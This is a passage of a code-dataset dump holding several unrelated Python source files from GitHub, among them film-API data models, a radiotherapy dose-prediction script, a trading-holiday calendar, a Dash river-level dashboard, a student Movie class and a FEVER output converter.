alias=\"imageUrl\",\n    )\n    nomination_name: str = Field(..., example=\"Лучший звук\", alias=\"nominationName\")\n    year: int = Field(..., example=2000)\n    persons: Optional[List[AwardPerson]] = None\n\n\nclass Distribution(BaseModel):\n    type: DistributionType = Field(..., example=\"PREMIERE\")\n    sub_type: Optional[ReleaseType] = Field(..., example=\"CINEMA\", alias=\"subType\")\n    date: Optional[str] = Field(..., example=\"1999-05-07\")\n    re_release: Optional[bool] = Field(..., example=False, alias=\"reRelease\")\n    country: Optional[Country]\n    companies: List[Company]\n\n\nclass Season(BaseModel):\n    number: int = Field(..., example=1)\n    episodes: List[Episode]\n\n\nclass FiltersResponse(BaseModel):\n    genres: List[FiltersResponseGenres]\n    countries: List[FiltersResponseCountries]\n\n\nclass FilmSearchResponse(BaseModel):\n    keyword: str = Field(..., example=\"мстители\")\n    pages_count: int = Field(..., example=7, alias=\"pagesCount\")\n    search_films_count_result: int = Field(\n        ..., example=134, alias=\"searchFilmsCountResult\"\n    )\n    films: List[FilmSearchResponseFilms]\n\n\nclass FilmSearchByFiltersResponse(BaseModel):\n    total: int = Field(..., example=7)\n    total_pages: int = Field(..., example=1, alias=\"totalPages\")\n    items: List[FilmSearchByFiltersResponseItems]\n\n\nclass RelatedFilmResponse(BaseModel):\n    total: int = Field(..., example=7)\n    items: List[RelatedFilmResponseItems]\n\n\nclass ReviewResponse(BaseModel):\n    total: int = Field(\n        ..., description=\"Суммарное кол-во пользовательских рецензий\", example=12\n    )\n    total_pages: int = Field(..., example=2, alias=\"totalPages\")\n    total_positive_reviews: int = Field(..., example=1, alias=\"totalPositiveReviews\")\n    total_negative_reviews: int = Field(..., example=7, alias=\"totalNegativeReviews\")\n    total_neutral_reviews: int = Field(..., example=12, alias=\"totalNeutralReviews\")\n    items: List[ReviewResponseItems]\n\n\nclass ExternalSourceResponse(BaseModel):\n    total: int = Field(..., description=\"Суммарное кол-во сайтов\", example=12)\n    items: List[ExternalSourceResponseItems]\n\n\nclass FilmCollectionResponse(BaseModel):\n    total: int = Field(..., example=200)\n    total_pages: int = Field(..., example=7, alias=\"totalPages\")\n    items: List[FilmCollectionResponseItems]\n\n\nclass PersonResponse(BaseModel):\n    person_id: int = Field(..., example=66539, alias=\"personId\")\n    web_url: Optional[str] = Field(..., example=\"10096\", alias=\"webUrl\")\n    name_ru: Optional[str] = Field(..., example=\"Винс Гиллиган\", alias=\"nameRu\")\n    name_en: Optional[str] = Field(..., example=\"Vince Gilligan\", alias=\"nameEn\")\n    sex: Optional[Sex] = Field(..., example=\"MALE\")\n    poster_url: str = Field(\n        ...,\n        example=\"https://kinopoiskapiunofficial.tech/images/actor_posters/kp/10096.jpg\",\n        alias=\"posterUrl\",\n    )\n    growth: Optional[int] = Field(..., example=\"174\")\n    birthday: Optional[str] = Field(..., example=\"1965-04-04\")\n    death: Optional[str] = Field(..., example=\"2008-01-22\")\n    age: Optional[int] = Field(..., example=55)\n    birthplace: Optional[str] = Field(..., example=\"Манхэттэн, Нью-Йорк, США\")\n    deathplace: Optional[str] = Field(..., example=\"Манхэттэн, Нью-Йорк, США\")\n    has_awards: Optional[int] = Field(..., example=1, alias=\"hasAwards\")\n    profession: Optional[str] = Field(..., example=\"Актер, Продюсер, Сценарист\")\n    facts: List[str]\n    spouses: List[PersonResponseSpouses]\n    films: List[PersonResponseFilms]\n\n\nclass PersonByNameResponse(BaseModel):\n    total: int = Field(..., example=35)\n    items: List[PersonByNameResponseItems]\n\n\nclass ImageResponse(BaseModel):\n    total: int = Field(..., description=\"Общее кол-во изображений\", example=50)\n    total_pages: int = Field(\n        ..., description=\"Код-во доступных страниц\", example=3, alias=\"totalPages\"\n    )\n    items: List[ImageResponseItems]\n\n\nclass PremiereResponse(BaseModel):\n    total: int = Field(..., example=34)\n    items: List[PremiereResponseItem]\n\n\nclass DigitalReleaseResponse(BaseModel):\n    page: int = Field(..., example=1)\n    total: int = Field(..., example=34)\n    releases: List[DigitalReleaseItem]\n\n\nclass VideoResponse(BaseModel):\n    total: int = Field(..., example=50)\n    items: List[VideoResponseItems]\n\n\nclass KinopoiskUserVoteResponse(BaseModel):\n    total: int = Field(..., example=200)\n    totalPages: int = Field(..., example=7)\n    items: List[KinopoiskUserVoteResponseItems]\n\n\nclass ApiKeyResponse(BaseModel):\n    total_quota: ApiKeyResponseTotalQuota = Field(..., alias=\"totalQuota\")\n    daily_quota: ApiKeyResponseDailyQuota = Field(..., alias=\"dailyQuota\")\n    account_type: AccountType = Field(..., example=\"FREE\", alias=\"accountType\")\n\n\nclass SeasonResponse(BaseModel):\n    total: int = Field(..., example=5)\n    items: List[Season]\n\n\nclass DistributionResponse(BaseModel):\n    total: int = Field(..., example=5)\n    items: List[Distribution]\n\n\nclass AwardResponse(BaseModel):\n    total: int = Field(..., example=5)\n    items: List[Award]\n","repo_name":"Ninnjah/kino-bot","sub_path":"kinopoisk_api/models/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":28509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"16158648435","text":"import os\nimport numpy as np\nimport tensorflow as tf\nfrom readfiles import *\nfrom models import *\nimport nibabel as nib\nfrom train import *\nimport struct\n\nfrom tensorflow import keras\n\nsubject='IPF015'\nfilename = '../dpbn/fraction_dose_'+subject+'.dat'\nwith open(filename,'rb') as myfile:\n    fractions = struct.unpack('i',myfile.read(4))\n    nr_voxels = struct.unpack('3I',myfile.read(12))\n    voxel_size = struct.unpack('3d',myfile.read(24))\n    corner = struct.unpack('3d',myfile.read(24))\n    total_voxels = nr_voxels[0]*nr_voxels[1]*nr_voxels[2]\n    dose = struct.unpack('f'*total_voxels,myfile.read(4*total_voxels))\n    roi_voxels = struct.unpack('I',myfile.read(4))\n    roi_indices = struct.unpack('I'*roi_voxels[0],myfile.read(4*roi_voxels[0]))\n    pre = struct.unpack('d'*total_voxels,myfile.read(8*total_voxels))\n\ndel corner\ndel voxel_size\ndose_scan = np.reshape(dose,nr_voxels, order='F')\nmaxdose = 60\nnewdose = dose_scan\n#newdose = np.ones_like(dose_scan)*maxdose\n#del dose_scan\nprejac_scan = np.reshape(pre,nr_voxels, order='F')/1000\nmask = prejac_scan\nmask[prejac_scan<1] = 0\nmask[prejac_scan>0] = 1\nw = 256\nh = 256\nd = 256\n\nmodelName = \"./ganmodel/model_183920.h5\"\nmodel = keras.models.load_model(modelName,  custom_objects={\"ssim_loss\": ssim_loss})\nprint(modelName)\n\nnewdose = process_scan(newdose, 3, w, h, d)\nprejac_scan = process_scan(prejac_scan, 1, w, h, d)\nprint(np.min(newdose))\nx_val = np.stack((newdose, prejac_scan), axis=-1)\nprediction = tf.squeeze(model.predict(np.expand_dims(x_val, axis=0)))\nprediction = resize_volume(prediction, nr_voxels[0], nr_voxels[1], nr_voxels[2])\nratio = normalize_predict_ratio(prediction, mask)\nlowfunc = np.where((ratio<.94) & (ratio>.5))\nwhile (len(lowfunc[0])>0):\n    if (np.sum(newdose[lowfunc])<100):\n        break\n    print(np.sum(newdose[lowfunc]))\n    newdose[lowfunc] = newdose[lowfunc]-(2.0/75.0)\n    print(len(lowfunc[0]))\n    newdose[newdose<0] = 0\n    x_val = np.stack((newdose, prejac_scan), axis=-1)\n    prediction = tf.squeeze(model.predict(np.expand_dims(x_val, axis=0)))\n    prediction = resize_volume(prediction, nr_voxels[0], nr_voxels[1], nr_voxels[2])\n    ratio = normalize_predict_ratio(prediction, mask)\n    lowfunc = np.where((ratio<.94) & (ratio>.5))\npyplot.imshow(newdose[:,:,100])\npyplot.colorbar()\npyplot.savefig('testdose.png')\npyplot.close()\npyplot.imshow(ratio[:,:,100])\npyplot.colorbar()\npyplot.savefig('testratio.png')\npyplot.close()\npyplot.imshow(prejac_scan[:,:,100])\npyplot.colorbar()\npyplot.savefig('testpre.png')\npyplot.close()\ndel lowfunc\n#del ratio\ndel prediction\n#newdose = resize_volume(newdose, nr_voxels[0], nr_voxels[1], nr_voxels[2])*75\nprint(np.min(newdose))\nnewdose = newdose*75\nmodified_dose = list(dose)\n#indices = np.unravel_index(roi_indices,nr_voxels)\nnewdose = newdose.flatten('F')\nfor index in roi_indices:\n    modified_dose[index] = (100/fractions[0])*newdose[index]\n\nfilename = '../dpbn/modified_dose_opt3_'+subject+'.dat'\n\nwith open (filename,'wb') as newfile:\n    np.asarray(modified_dose,dtype=np.double).tofile(newfile)\n","repo_name":"eric-wallat/FLGAN","sub_path":"dosepredict.py","file_name":"dosepredict.py","file_ext":"py","file_size_in_byte":3040,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"40717503914","text":"from pandas.tseries.holiday import AbstractHolidayCalendar, Holiday, nearest_workday\nfrom pandas.tseries.offsets import Easter, Day\nimport datetime as dt\n\n# Based on schedule at \n# http://markets.on.nytimes.com/research/markets/holidays/holidays.asp?display=market&timeOffset=0&exchange=MIL\nclass ITTradingCalendar(AbstractHolidayCalendar):\n    rules = [\n        Holiday('NewYearsDay', month=1, day=1),\n        Holiday('Good Friday', month=1, day=1, offset=[Easter(), Day(-2)]),\n        Holiday('Easter Monday', month=1, day=1, offset=[Easter(), Day(1)]),\n        Holiday('Ascesion Day', month=1, day=1, offset=[Easter(), Day(39)]),\n        Holiday('Workers Day', month=5, day=1),\n        Holiday('Assumption Day', month=8, day=15),\n        Holiday('Christmas', month=12, day=24),\n        Holiday('ChristmasDay', month=12, day=25),\n        Holiday('ChristmasSecondDay', month=12, day=26),\n        Holiday('NewYearsEve', month=12, day=31)\n    ]\n\n\ndef get_trading_close_holidays(year):\n    inst = ITTradingCalendar()\n\n    return inst.holidays(dt.datetime(year-10, 12, 31), dt.datetime(year, 12, 31))\n","repo_name":"finsyn/forecast","sub_path":"src/holidaysit.py","file_name":"holidaysit.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"57"}
+{"seq_id":"18640856834","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Output, Input\nimport pandas as pd\nimport numpy as np\nimport requests\nimport sys\nimport web_service as ws    \nfrom datetime import datetime\nimport datetime as dt\nimport pytz\npytz.all_timezones\n\ndef get_now():\n    tz_NZ = pytz.timezone('Pacific/Auckland') \n    datetime_NZ = datetime.now(tz_NZ)\n    return datetime_NZ.strftime(\"%Y-%m-%d %H:%M\")\n\ndef start_date(daysBeforeNow=7):\n    tz_NZ = pytz.timezone('Pacific/Auckland') \n    datetime_NZ = datetime.now(tz_NZ)\n    day_delta = dt.timedelta(days=daysBeforeNow)\n    from_date = datetime_NZ - day_delta\n    return from_date.strftime(\"%Y-%m-%d %H:%M\")\n\n\ndef get_data(site):\n    \n    ### Parameters\n    base_url = 'http://tsdata.horizons.govt.nz/'\n    hts = 'boo.hts'\n    measurement = 'Stage [Water Level]'\n    from_date = start_date(7)\n    to_date = get_now()\n    #dtl_method = 'trend'\n    \n    df = ws.get_data_basic(base_url,hts,site,measurement,from_date,to_date)\n    # columns=['Site', 'Measurement', 'Parameter', 'DateTime', 'Value'])\n\n    return df\n\n\ndef get_all_stage_data():\n    base_url = 'http://tsdata.horizons.govt.nz/'\n    hts = 'boo.hts'\n    collection = 'River Level'\n    from_date = start_date(3)\n    to_date = get_now()\n    df = ws.get_datatable(base_url, hts, collection, from_date=from_date, to_date=to_date)\n    return df\n\nsite = \"Makino at Rata Street\"\ndata = get_data(site)\ndata[\"T\"] = pd.to_datetime(data[\"T\"],infer_datetime_format=True)\n#data = data.query(\"SiteName == 'Manawatu at Teachers College'\")\n\n\n# Create an instance of the dash class\napp = dash.Dash(__name__)\n# --- This line added for deployment to heroku\nserver = app.server\n# ---\n\napp.layout = html.Div(\n                children=dcc.Graph(\n                    id=\"riverlevel-chart\",\n                    figure={\n                         \"data\": [\n                                 {\n                                 \"x\": data[\"T\"], \n                                 \"y\": data[\"I1\"],\n                                 \"type\": \"lines\",\n                                 },\n                        ],\n                        \"layout\": {\n                            \"title\": site,\n                        },\n                    },\n                ),\n            )   \n    \nif __name__ == \"__main__\":\n    app.run_server(debug=True)\n","repo_name":"seanlhodges/studios-plot","sub_path":"app_getdata.py","file_name":"app_getdata.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"57"}
+{"seq_id":"35427465508","text":"from odin_sequencer import CommandSequenceManager\nfrom pathlib import Path\nimport time\nimport sys\n\ndef main():\n\n    examples_dir = Path(__file__).resolve().parent\n\n    paths = [examples_dir.joinpath(seq_file) for seq_file in [\n        'dependencies/a.py', 'dependencies/b.py', 'dependencies/c.py', 'dependencies/d.py', 'dependencies/e.py'\n    ]]\n\n    csm = CommandSequenceManager(paths)\n\n    csm.a_three(9.876)\n\n    input(\"Modify a_three function inside a.py and then hit return\")\n\n    csm.reload(examples_dir.joinpath('dependencies/a.py'))\n\n    csm.a_three(5.678)\n    csm.execute('a_three', arg=1.234, wibble='wobble')\n\nif __name__ == '__main__':\n\n    main()","repo_name":"stfc-aeg/odin-sequencer","sub_path":"examples/test_reload.py","file_name":"test_reload.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"9133670460","text":"import os\nimport logging\nimport asyncio\nimport sys\nfrom functools import lru_cache  \n\nlog = logging.getLogger(__name__)\n\n\n@lru_cache(maxsize=None) \ndef common_string(index, search_string, connection=None):\n    \"\"\"Returns True if search_string is a common string in index.\"\"\"\n    es = connection\n\n    query = {\n        \"query\": {\n            \"bool\": {\n                \"must\": [\n                    {\n                        \"match\": {\n                            \"content_txt_without_stopwords\": search_string\n                        }\n                    }\n                ]\n            }\n        },\n        \"size\": 1\n    }\n\n    response = es.search(index=index, body=query)\n    count = response['hits']['total']['value']\n    return count > 700\n","repo_name":"michael-mb/wom-miner","sub_path":"mining/keywords/index_word_count.py","file_name":"index_word_count.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"29879614891","text":"from .uicl_types import *\nimport os\nimport sys\n\n\nUICL_CURRENT_VERSION = 1\nUICL = None\nWIN_UICL_PATH = __file__[:-8] + '\\\\UICL.dll'\n\nif not os.path.isfile(WIN_UICL_PATH):\n    WIN_UICL_PATH = 'C:\\\\Program Files\\\\Unigraf\\\\Unigraf UCD Tools\\\\UICL.dll'\n\ndll_path = WIN_UICL_PATH\ntry:\n    UICL = windll.LoadLibrary(dll_path)\nexcept OSError:\n    print('ERROR({}): {}'.format(GetLastError(), dll_path))\n    if GetLastError() == 193:\n        print('Perhaps you are using a 64-bit python interpreter along with a 32-bit library, or vice versa.'\n              ' Need the same.')\n\n\ndef to_cstr(src_str):\n    return c_char_p(src_str.encode('utf-8'))\n\n\ndef UICL_GetRequiredBufferSize(dest_image: UICL_Image):\n    _UICL_GetRequiredBufferSize = UICL.UICL_GetRequiredBufferSize\n    _UICL_GetRequiredBufferSize.argtypes = [POINTER(UICL_Image)]\n    _UICL_GetRequiredBufferSize.restype = UICL_RESULT\n\n    result = _UICL_GetRequiredBufferSize(byref(dest_image))\n    return result, dest_image\n\n\ndef UICL_Convert(src_image: UICL_Image, dest_image: UICL_Image):\n    _UICL_Convert = UICL.UICL_Convert\n    _UICL_Convert.argtypes = [POINTER(UICL_Image), POINTER(UICL_Image)]\n    _UICL_Convert.restype = UICL_RESULT\n\n    result = _UICL_Convert(byref(src_image), byref(dest_image))\n    return result, dest_image\n\n\ndef UICL_SaveToFile(src_image: UICL_Image, file_name, image_file_format):\n    _UICL_SaveToFile = UICL.UICL_SaveToFile\n    _UICL_SaveToFile.argtypes = [c_char_p, POINTER(UICL_Image), c_int]\n    _UICL_SaveToFile.restype = UICL_RESULT\n\n    return _UICL_SaveToFile(to_cstr(file_name), byref(src_image), image_file_format)\n","repo_name":"AditiDas97/tsi","sub_path":"tsi_devices/libs/lib_uicl/uicl.py","file_name":"uicl.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"34764711320","text":"# abdul tayeb\r\n# assignment 10.1 In this assignment, I will implement my own class based on a real-world object. \r\n# I will write a class to meet certain requirements and write a short demo program in the main function that highlights all your class variables and methods.\r\n\r\n#defining the Movie class\r\nclass Movie:\r\n\r\n    #defining class variables\r\n    title=\"Interstellar\"\r\n    genre=\"horror\"\r\n    mode=\"OTT\"\r\n    length=2.5\r\n    price=\"10\"\r\n\r\n    def __init__(self, __title, __mode, __genre, __length, __price):\r\n        #defining private data variables\r\n        self.title = __title # to store the movie title\r\n        self.mode = __mode # to store the mode of viewing\r\n        self.genre = __genre # to store the movie genre\r\n        self.length = __length # to store the movie duration in hours\r\n        self.price = __price # to store the base price in dollars\r\n\r\n    #setter methods for all instance variables\r\n\r\n    def set_title(self, title):\r\n        self.title = title\r\n\r\n    def set_mode(self, mode):\r\n        self.mode = mode\r\n\r\n    def set_genre(self, genre):\r\n        self.genre = genre\r\n\r\n    def set_length(self, length):\r\n        self.length = length\r\n\r\n    def set_price(self, price):\r\n        self.price = price\r\n\r\n    #getter methods for all instance variables\r\n\r\n    def get_title(self):\r\n        return self.title\r\n\r\n    def get_mode(self):\r\n        return self.mode\r\n\r\n    def get_genre(self):\r\n        return self.genre\r\n\r\n    def get_length(self):\r\n        return self.length\r\n\r\n    def get_price(self):\r\n        return self.price\r\n\r\n    #method to calculate and display final movie price inclusive of all taxes\r\n\r\n    def computePrice(self):\r\n        #variable tax set to private for storing fixed tax of 10%\r\n        __tax = 10\r\n        #conversion of self.price from string to float\r\n        if(self.mode==\"OTT\"):\r\n            return f\"Your total would be ${float(self.price) + (__tax/100*float(self.price))}\"\r\n\r\n        else:\r\n            return f\"Your total would be ${float(self.price) + (__tax/100*float(self.price))} and the ride and parking charges given you don't buy snacks at the intermission\"\r\n\r\n    #method to display how long a movie feels to the audience\r\n\r\n    def howLong(self):\r\n\r\n        __len = float(self.length) # private variable that stores the length of the movie in floating point value for simple if condition check\r\n        if(__len>2.5):\r\n            return \"This movie is wayy too long\"\r\n\r\n        elif(__len>2 and __len<=2.5):\r\n            return \"This movie is pretty long\"\r\n\r\n        elif(__len<=2 and __len>1):\r\n            return \"This movie has just the right duration\"\r\n\r\n        else:\r\n            return \"This movie would be over in jiff\"\r\n\r\n    #method to display a message based on genre\r\n\r\n\r\n    def customMessaage(self):\r\n        if(self.genre==\"horror\"):\r\n            return \"DO NOT watch this alone at 3am\"\r\n\r\n        elif(self.genre==\"romantic\"):\r\n            return \"Hopefully you have a partner so you won't feel single while watching this\"\r\n\r\n        elif(self.genre==\"thriller\"):\r\n            return \"I see you love the thrill!\"\r\n\r\n        elif(self.genre==\"drama\"):\r\n            return \"Occasional dose of drama to keep your sanity\"\r\n\r\n        elif(self.genre==\"action\"):\r\n            return \"Action-packed dopamine rush\"\r\n\r\n        elif(self.genre==\"comedy\"):\r\n            return \"As they say laughter is the best medicine\"\r\n\r\n        # by default response\r\n        else:\r\n            return \"Great choice! Enjoy your movie!\"\r\n\r\n#defining the main function\r\n\r\ndef main():\r\n\r\n    __c = 1 # private variable to act as user choice\r\n    while(__c!=0):\r\n        # creating a movie object without giving any values for initialization as we are going to manually set them using setter methods\r\n        movie = Movie(\"\", \"\", \"\", \"\", \"\")\r\n        #implementation of all class methods\r\n        name = input(\"Enter movie name:\\n\")\r\n        mode = input(\"Enter mode, OTT or Theatre:\\n\")\r\n        genre = input(\"Enter movie genre:\\n\")\r\n        length = input(\"Enter movie duration in hours:\\n\")\r\n        price = input(\"Enter movie base price in dollars:\\n\")\r\n        # setting all values based on user input\r\n        movie.set_title(name)\r\n        movie.set_mode(mode)\r\n        movie.set_genre(genre)\r\n        movie.set_price(price)\r\n        movie.set_length(length)\r\n        # printing all values using getter methods\r\n        print(\"\\n-----------------------------------------\\n\")\r\n        print(f\"Your chosen movie is - {movie.get_title()}\\nMode - {movie.get_mode()}\\nGenre - {movie.get_genre()}\\nLength - {movie.get_length()} hours\\nPrice - ${movie.get_price()}\\n\")\r\n        # calling two other methods\r\n        print(\"\\n-----------------------------------------\\n\")\r\n        # calling two other methods\r\n        print(movie.customMessaage(),'\\n')\r\n        print(movie.howLong(),'\\n')\r\n        print(movie.computePrice(),'\\n')\r\n        __c = int(input(\"Press 1 to input another movie and 0 to exit\\n\"))\r\n        # if user presses 0 exit the loop else continue\r\n        if(__c==0):\r\n            break\r\n    \r\n#calling main function\r\nif __name__ == \"__main__\":\r\n    main()\r\n        \r\n\r\n\r\n","repo_name":"ahtayeb/assignment-10.1","sub_path":"movie.py","file_name":"movie.py","file_ext":"py","file_size_in_byte":5156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"40603975014","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis scripts converts the output (in ec_format) for eval to submit to codalab.\n\n\"\"\"\n\nimport sys\nimport argparse\n\nimport string\nimport codecs\n\nfrom os import path\nimport random\nfrom collections import defaultdict\nimport operator\n\nimport numpy as np\nimport json\n\nimport unicodedata\nfrom sklearn.utils import shuffle\n\nfrom scorer import fever_score\n\nSUPPORTS_ID = 0\nREFUTES_ID = 1\nMOREINFO_ID = 2\n\nrandom.seed(1776)\n\n\ndef read_blind_test_jsonl(filepath_with_name):\n    original_claim_ids = []\n    line_id = 0\n    with codecs.open(filepath_with_name, encoding=\"utf-8\") as f:\n        for line in f:\n            if line_id % 10000 == 0:\n                print(f\"Currently processing line {line_id}.\")\n            line_id += 1\n            line = line.strip()\n            data = json.loads(line)\n            id = int(data[\"id\"])\n            original_claim_ids.append(id)\n    return original_claim_ids\n\n\ndef get_document_title_and_sent_index_from_wiki_sentence_string(wiki_title_reformatted_string):\n    # We recover the Wikipedia title and the sentence id from the evidence string\n\n    end_of_title_index = wiki_title_reformatted_string.find(\", sentence \")\n    assert end_of_title_index != -1, f\"ERROR: Unexpected formatting in {wiki_title_reformatted_string}\"\n    # Need to find the next colon in order to pull the sentence index\n    end_of_sentence_colon_index = wiki_title_reformatted_string[end_of_title_index:].find(\":\")\n    assert end_of_sentence_colon_index != -1, f\"ERROR: Unexpected formatting in {wiki_title_reformatted_string}\"\n    end_of_sentence_colon_index += end_of_title_index\n\n    sent_id = int(wiki_title_reformatted_string[end_of_title_index+len(\", sentence \"):end_of_sentence_colon_index])\n    start_of_title_index = wiki_title_reformatted_string.find(\"Evidence:\")\n    assert start_of_title_index == 0, f\"ERROR: Unexpected formatting in {wiki_title_reformatted_string}\"\n    return wiki_title_reformatted_string[start_of_title_index+len(\"Evidence:\"):end_of_title_index].strip(), sent_id\n\n\ndef read_predicted_ec_file(filepath_with_name, filtered_title_to_title_hash, np_random_state, predicted_claim_ids):\n    predicted_claim_ids_to_claims_data = {}\n    number_of_level3_predicted_unk = 0\n    line_id = 0\n    with codecs.open(filepath_with_name, encoding=\"utf-8\") as f:\n        for line in f:\n            if line_id % 10000 == 0:\n                print(f\"Currently processing line {line_id}\")\n\n            line = line.strip().split(\"\\t\")\n            assert len(line) >= 8, f\"len(line): {len(line)}; line: {line}\"\n            predicted_label = int(line[5])\n            assert predicted_label in [-1, SUPPORTS_ID, REFUTES_ID, MOREINFO_ID]\n            if predicted_label == -1:\n                number_of_level3_predicted_unk += 1\n                predicted_label = np_random_state.randint(3)\n                print(f\"WARNING: Predicted level 3 label for sentence {line_id} was -1. Setting to random (0, 1, or 2):\"\n                      f\" {predicted_label}\")\n\n            if predicted_label == 0:\n                label = \"SUPPORTS\"\n            elif predicted_label == 1:\n                label = \"REFUTES\"\n            elif predicted_label == 2:\n                label = \"NOT ENOUGH INFO\"\n            # prefix_string = line[6].strip()\n            # claim = line[7].strip()\n            evidence_sentences = line[8:]\n            page_line_list = []\n            for evidence_sentence in evidence_sentences:\n                evidence_sentence = evidence_sentence.strip()\n                if len(evidence_sentence) > 0:\n                    wiki_title_reformatted_string, sent_id = \\\n                        get_document_title_and_sent_index_from_wiki_sentence_string(evidence_sentence)\n                    # print(evidence_sentence)\n                    # print(f\"\\t{wiki_title_reformatted_string}\")\n                    # print(f\"\\t{sent_id}\")\n                    assert wiki_title_reformatted_string in filtered_title_to_title_hash\n                    page_line_list.append([filtered_title_to_title_hash[wiki_title_reformatted_string], sent_id])\n            assert predicted_claim_ids[line_id] not in predicted_claim_ids_to_claims_data\n            predicted_claim_ids_to_claims_data[predicted_claim_ids[line_id]] = {\"id\": predicted_claim_ids[line_id],\n                                                                                \"predicted_label\": label,\n                                                                                \"predicted_evidence\": page_line_list}\n            line_id += 1\n\n    print(f\"Number of original level 3 predictions that were unk: {number_of_level3_predicted_unk}\")\n    return predicted_claim_ids_to_claims_data\n\n\ndef get_resorted_predicted_claims(predicted_claim_ids_to_claims_data, original_claim_ids):\n    predicted_claims_data = []\n    for claim_id in original_claim_ids:\n        assert claim_id in predicted_claim_ids_to_claims_data\n        predicted_claims_data.append(predicted_claim_ids_to_claims_data[claim_id])\n    return predicted_claims_data\n\n\ndef get_filtered_title_to_title_hash(filepath_with_name):\n    filtered_title_to_title_hash = {}\n    line_id = 0\n    with codecs.open(filepath_with_name, encoding=\"utf-8\") as f:\n        for line in f:\n            if line_id % 500000 == 0:\n                print(f\"\\tTitle hashes: Currently processing line {line_id}.\")\n            line_id += 1\n            line = line.strip().split(\"\\t\")\n            filtered_title = line[0].strip()\n            title_hash = line[1].strip()\n            assert filtered_title not in filtered_title_to_title_hash, f\"ERROR: This version assumes no title clashes.\"\n            filtered_title_to_title_hash[filtered_title] = title_hash\n    return filtered_title_to_title_hash\n\n\ndef get_claim_ids_from_control_file(filepath_with_name):\n    claim_ids = []\n    line_id = 0\n    with codecs.open(filepath_with_name, encoding=\"utf-8\") as f:\n        for line in f:\n            if line_id % 500000 == 0:\n                print(f\"\\tTitle hashes: Currently processing line {line_id}.\")\n            line_id += 1\n            line = line.strip().split(\",\")\n            claim_id = int(line[0].strip())\n            claim_ids.append(claim_id)\n    return claim_ids\n\n\ndef save_jsonl_lines(filename_with_path, list_of_dictionaries_to_save):\n    with codecs.open(filename_with_path, \"w\", encoding=\"utf-8\") as f:\n        for dictionary_to_save in list_of_dictionaries_to_save:\n            json.dump(dictionary_to_save, f)\n            f.write('\\n')\n\n\ndef main(arguments):\n\n    parser = argparse.ArgumentParser(description=__doc__,\n                                     formatter_class=argparse.RawDescriptionHelpFormatter)\n    parser.add_argument('--input_jsonl_file', type=str, help=\"The FEVER .jsonl file. This is used to get the order\"\n                                                             \"of the claims. The input to coda lab must be in this \"\n                                                             \"order.\")\n    parser.add_argument('--input_ec_file', type=str, help=\"input_ec_file\")\n    parser.add_argument('--control_file', type=str, help=\"control_file\")\n    parser.add_argument('--filtered_titles_to_title_hashes_file', type=str, help=\"filtered_titles_to_title_hashes_file\")\n    parser.add_argument('--output_codalab_jsonl_dir', type=str, help=\"Output dir for coda lab. Filename is saved as \"\n                                                                      \"predictions.jsonl\")\n    parser.add_argument('--output_codalab_jsonl_filename', default=\"predictions.jsonl\", type=str,\n                        help=\"Filename must be called 'predictions.jsonl' (the default) for upload to CodaLab.\")\n\n    args = parser.parse_args(arguments)\n\n    original_claim_ids = read_blind_test_jsonl(args.input_jsonl_file)\n    seed_value = 1776\n    np_random_state = np.random.RandomState(seed_value)\n    # Why would any test claims not have predictions? If the claim is not associated with any covered titles.\n    # In these cases, we just randomly predict. These are very rare in practice, to the degree that the metrics are\n    # not affected either way. For datasets on which this is common, it would be preferable to at least\n    # make a claim-only prediction.\n    filtered_title_to_title_hash = get_filtered_title_to_title_hash(args.filtered_titles_to_title_hashes_file)\n    # Our original pre-processing grouped claims by ground-truth evidence titles to aid in debugging. For blind\n    # test, we use the same pre-processing for consistency. In this case there are no known titles, but\n    # it is possible the instances could be in an order that differs from the original file.\n    # Here, we just need to get the claim id's to map to the order of original_claim_ids.\n    predicted_claim_ids = get_claim_ids_from_control_file(args.control_file)\n    predicted_claim_ids_to_claims_data = read_predicted_ec_file(args.input_ec_file, filtered_title_to_title_hash,\n                                                                np_random_state, predicted_claim_ids)\n\n    predicted_claims_data = get_resorted_predicted_claims(predicted_claim_ids_to_claims_data, original_claim_ids)\n    save_jsonl_lines(path.join(args.output_codalab_jsonl_dir, args.output_codalab_jsonl_filename),\n                     predicted_claims_data)\n\n\nif __name__ == '__main__':\n    sys.exit(main(sys.argv[1:]))\n\n","repo_name":"allenschmaltz/memory_matching","sub_path":"archive_research_code/data/eval/fever_data_version8_3class_convert_to_codalab_eval_format.py","file_name":"fever_data_version8_3class_convert_to_codalab_eval_format.py","file_ext":"py","file_size_in_byte":9312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"13439018149","text":"'''a module that defines an event object'''\n# -*- coding: utf-8 -*-\n\n#    This file is part of emesene.\n#\n#    emesene is free software; you can redistribute it and/or modify\n#    it under the terms of the GNU General Public License as published by\n#    the Free Software Foundation; either version 3 of the License, or\n#    (at your option) any later version.\n#\n#    emesene is distributed in the hope that it will be useful,\n#    but WITHOUT ANY WARRANTY; without even the implied warranty of\n#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n#    GNU General Public License for more details.\n#\n#    You should have received a copy of the GNU General Public License\n#    along with emesene; if not, write to the Free Software\n#    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n\nclass Event(object):\n    '''an object that represents an event'''\n\n    def __init__(self, id_, *args):\n        '''class constructor'''\n        self.id_ = id_\n\n        if args is None:\n            self.args = []\n        else:\n            